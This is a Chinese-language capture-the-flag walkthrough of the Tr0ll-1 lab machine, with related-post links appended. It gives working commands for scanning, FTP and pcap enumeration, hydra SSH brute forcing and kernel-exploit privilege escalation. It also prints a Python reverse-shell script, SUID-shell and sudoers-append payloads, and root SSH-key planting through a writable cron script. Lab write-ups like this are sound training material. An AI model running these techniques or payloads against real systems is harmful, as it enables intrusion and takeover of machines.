【原创】项目四Tr0ll-1
实战流程
1、nmap枚举
nmap -sP 192.168.186.0/24
nmap -p- 192.168.186.142
nmap 192.168.186.142 -p- -sS -sV -A
发现ftp存在lol.pcap流量文件,还有FTP带有匿名登录名:Anonymous FTP login allowed,80http存在robots.txt和/secret目录文件。
2、登录FTP枚举
账号密码:
Anonymous
Anonymous
ftp 10.211.55.32
dir
get lol.pcap
3、wireshark分析流量
wireshark lol.pcap
wireshark对流量界面右键->追踪流量->TCP流量!
获得tcp.stream eq 1和tcp.stream eq 2等信息:
tcp.stream eq 1:第一个流显示了一个文件secret_stuff.txt
tcp.stream eq 2:sup3rs3cr3tdirlol
4、页面枚举http://192.168.186.142/sup3rs3cr3tdirlol/
roflmao下载!
file roflmao ---枚举是32位的ELF 二进制文件
strings roflmao 发现Find address 0x0856BF to proceed
hexeditor roflmao ---十六进制的也可以用这个发现!
5、页面枚举http://192.168.186.142/0x0856BF/
存在两页页面:good_luck/ this_folder_contains_the_password/
http://192.168.186.142/0x0856BF/good_luck/which_one_lol.txt
猜测是用户名!
http://192.168.186.142/0x0856BF/this_folder_contains_the_password/Pass.txt
初步猜测是用户密码hydra爆破!
6、hydra爆破
创建user.txt
nano user.txt
6、hydra爆破
hydra -L user.txt -p Pass.txt 192.168.186.142 ssh
login: overflow password: Pass.txt
7、登录系统ssh
ssh overflow@192.168.186.142
Linux 4-Tr0ll 3.13.0
searchsploit Linux 4-Tr0ll 3.13.0:只有两个符合的
利用37292.c:
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/whoami/poc
开启本地http服务
python -m http.server 8081
目标端
补齐shell
python -c 'import pty; pty.spawn("/bin/bash")'
在tmp目录下下载
wget http://192.168.186.130:8081/37292.c
执行提权命令
gcc 37292.c -o heiyu1
./heiyu1
提权成功后进入root目录,获取flag,结束。
# cat proof.txt
Good job, you did it!
702a8c18d29c6f3ca0d99ef5712bfbdc
拓展思路
Broadcast Message from root@4-Tr
(somewhere) at 8:40 ...
TIMES UP LOL!
Connection to 10.211.55.32 closed by remote host.
Connection to 10.211.55.32 closed.
它会自动结束ssh进程,而且还是整点提示!说明有计划任务在自动到点结束进程。每5分钟就被踢一次!
find / -name cronlog 2>/dev/null ---查看计划任务日志信息
find / -name cleaner.py 2>/dev/null ---查看文件在哪儿
find / -writable 2>/dev/null ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举
/lib/log/cleaner.py
知道了计划任务和py脚本可写入,以及py的位置后,那么方法千万种,接下来演示三种:
1)反弹shell
2)创建root可执行程序,获得root权限
3)写入ssh rsa,ssh登录root用户
nano使用教程:
ctrl x | y
1)反弹shell
nc -tvlp 9999
#!/usr/bin/python
def con():
import socket, time,pty, os
host='10.211.55.19'
port=9999
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()
2)创建root可执行程序,获得root权限
os.system('cp /bin/sh /tmp/heiyu1')
os.system('chmod u+s /tmp/heiyu1')
或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户:
os.system('echo "overflow ALL=(ALL) ALL" >> /etc/sudoers')
cd /tmp
ls
./sh
cd /root
ls
cat proof.txt
3)写入ssh rsa,ssh登录root用户
ssh-keygen ---都空格回车
cd ~/.ssh
cat id_rsa.pub
mkdir /root/.ssh; chmod 775 .ssh; echo "加上 id_rsa.pub产生的密匙内容上图有例子" >> /root/.ssh/authorized_keys
脑图汇总
【原创】项目四Tr0ll-1的更多相关文章
- android 实践项目四
android 实践项目四 本周主要是开发android baidumap实现公交的查询 1.权限的取得和对屏幕的支持 <uses-permission android:name="a ...
- 项目四:Java秒杀系统方案优化-高性能高并发实战
技术栈 前端:Thymeleaf.Bootstrap.JQuery 后端:SpringBoot.JSR303.MyBatis 中间件:RabbitMQ.Redis.Druid 功能模块 分布式会话,商 ...
- docker 运行jenkins及vue项目与springboot项目(四.docker运行nginx)
docker 运行jenkins及vue项目与springboot项目: 一.安装docker 二.docker运行jenkins为自动打包运行做准备 三.jenkins的使用及自动打包vue项目 四 ...
- jenkins构建自由风格项目[四]
标签(linux): jenkins 笔者Q:972581034 交流群:605799367.有任何疑问可与笔者或加群交流 构建一个php项目 创建一个新的项目 选择从git获取源码 配置gitlab ...
- 从零开始的SpringBoot项目 ( 四 ) 整合mybatis
一.创建一个SpringBoot项目 从零开始的SpringBoot项目 ( 二 ) 使用IDEA创建一个SpringBoot项目 二.引入相关依赖 <!--mysql数据库驱动--> & ...
- (原创)项目部署-Tomcat设置默认访问项目及项目重复加载问题处理
主要是通过配置<Tomcat安装目录>/conf/server.xml文件 步骤: 1.打开server.xml,在</Host>的上一行添加内容格式如下 <Contex ...
- jquery选择器(原创)<四>
前面学习了基本选择器,现在学习过滤选择器中的简单过滤选择器: 简单过滤选择器,主要根据索引值对元素进行筛选,这些过滤选择器类似于CSS的伪类选择器,他们均以冒号(:)开头,并且要与另外一个选择器一起使 ...
- MVC4商城项目四:应用Bundle捆绑压缩技术
从MVC4开始,我们就发现,项目中对Global.asax进行了优化,将原来在MVC3中使用的代码移到了[App_Start]文件夹下,而Global.asax只负责初始化.其中的BundleConf ...
- 使用angular4和asp.net core 2 web api做个练习项目(四)
第一部分: http://www.cnblogs.com/cgzl/p/7755801.html 第二部分: http://www.cnblogs.com/cgzl/p/7763397.html 第三 ...
随机推荐
- 微信小程序人脸识别
参考:https://cloud.tencent.com/document/product/1007/31071
- nodeJs入门的第一节课
nodejs是什么? nodejs的架构模式以及优缺点 nodejs异步IO nodejs事件驱动 nodejs单线程 nodejs应用场景 一.nodejs是什么? 1.1nodejs是一个开源的. ...
- [前端学习]vue的指令学习记录 vu-if | text | for | on | model | bind | pre
vue的指令学习记录 vue-if | text | for | on | model - 目录 vue的指令学习记录 vue-if | text | for | on | model ... 预备 ...
- numpy教程01---ndarray的创建
欢迎关注公众号[Python开发实战], 获取更多内容! 工具-numpy numpy是使用Python进行数据科学的基础库.numpy以一个强大的N维数组对象为中心,它还包含有用的线性代数,傅里叶变 ...
- linux3种安装软件、yum仓库、防火墙、乱码
Linux中安装软件的三种方式 1.哪三种方式? rpm安装 yum安装 源代码编译安装 2.区别 rpm安装类似于windows中的安装包,下载下来之后直接安装.缺点是不能自己解决依赖. yum安装 ...
- java实现MD5文件加密
package me.zhengjie.modules.logdump.util; import java.io.FileInputStream; import java.io.IOException ...
- Blazor使用区域(Area)
在MVC中,我们经常使用区域(Area)来区分各个模块,比如后台我们可以写一个Admin的Area. 到了Blazor时代,已经不推荐这么做了,现在推荐的做法是通过Url来区分,比如Admin可以配置 ...
- 背包问题dp的初步总结
背包问题 01背包 给定的物体只有0个和1个,只有选与不选的划分,其状态转移方程时由i-1行推出,所以第二层循环是由j=m,递减到v[i]的. for(int i=1;i<=n;i++){ fo ...
- C++的三种继承方式详解以及区别
目录 目录 C++的三种继承方式详解以及区别 前言 一.public继承 二.protected继承 三.private继承 四.三者区别 五.总结 后话 C++的三种继承方式详解以及区别 前言 我发 ...
- Jqgrid 动态设置cell disabled
$($(grid2.jqGrid("getGridRowById", i + 1))[0].children).each(function (childI, childO) { i ...